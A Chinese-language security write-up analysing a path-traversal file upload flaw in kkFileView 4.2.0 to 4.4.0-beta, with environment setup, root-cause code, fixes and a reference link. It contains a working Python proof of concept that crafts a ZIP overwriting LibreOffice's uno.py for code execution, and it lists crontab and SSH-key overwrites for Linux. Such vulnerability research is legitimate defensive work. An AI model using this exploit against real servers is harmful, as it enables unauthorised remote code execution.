kkFileView任意文件上传
字数 990 2025-08-19 12:42:18
kkFileView任意文件上传漏洞分析与利用教学
0x01 漏洞简介
kkFileView是一个开源的在线文件预览解决方案,支持多种文件格式。在4.2.0到4.4.0-beta版本中存在一个严重的任意文件上传漏洞,攻击者可以通过上传特制的ZIP压缩包覆盖系统文件,最终实现远程代码执行(RCE)。
0x02 漏洞影响范围
- 受影响版本:4.2.0 <= kkFileView <= v4.4.0-beta
- 安全版本:高于v4.4.0-beta的版本
0x03 环境搭建
-
从GitHub下载v4.3.0版本源码:
https://github.com/kekingcn/kkFileView/releases -
使用IDEA打开项目并加载依赖
-
编译安装包(可能遇到编译错误,使用以下命令忽略测试):
mvn install -Dmaven.test.skip=true -
解压生成的zip包,进入bin目录
-
运行startup.bat启动服务
0x04 漏洞原理分析
漏洞位于cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle中的compressFileReader.unRar方法。
关键问题点:
- 在处理ZIP文件时,系统获取了ZIP的绝对路径
- 从ZIP中提取文件时,未对文件名进行任何过滤
- 攻击者可以通过路径穿越(
../../)覆盖任意系统文件
关键代码片段:
OutputStream out = new FileOutputStream(extractPath + folderName + "_" + File.separator + str[0], true);
0x05 漏洞复现步骤
Windows系统RCE利用
- 构造恶意ZIP文件(Python示例):
import zipfile
if __name__ == "__main__":
try:
binary1 = b'hackBy0Fs47'
binary2 = b"\nimport os\nos.system('calc')"
with zipfile.ZipFile("testBy0Fs47.zip", "a", zipfile.ZIP_DEFLATED) as zipFile:
zipFile.writestr("0Fs47Test.txt", binary1)
zipFile.writestr("../../LibreOfficePortable/App/libreoffice/program/uno.py", binary2)
except IOError as e:
raise e
-
上传生成的ZIP文件并点击预览
-
恶意代码会写入
uno.py文件(kkFileView使用LibreOffice进行odt转pdf时会调用此文件) -
上传任意odt文件并点击预览,系统将执行
calc命令(计算器弹出)
Linux系统RCE利用
在Linux系统上,可以通过以下方式实现RCE:
- 覆盖系统关键文件(如crontab)
- 写入SSH公钥实现未授权访问
- 覆盖其他可被服务调用的脚本文件
0x06 修复方案
- 官方修复:升级到最新版本(高于v4.4.0-beta)
- 临时缓解措施:
- 限制上传文件类型
- 对解压文件名进行严格过滤,防止路径穿越
- 设置解压目录为隔离环境
0x07 参考资源
- GitHub POC示例:
https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC?tab=readme-ov-file
0x08 总结
该漏洞利用简单但危害严重,攻击者可以通过上传特制ZIP文件覆盖系统关键文件实现远程代码执行。建议所有使用kkFileView的用户立即检查版本并升级到安全版本。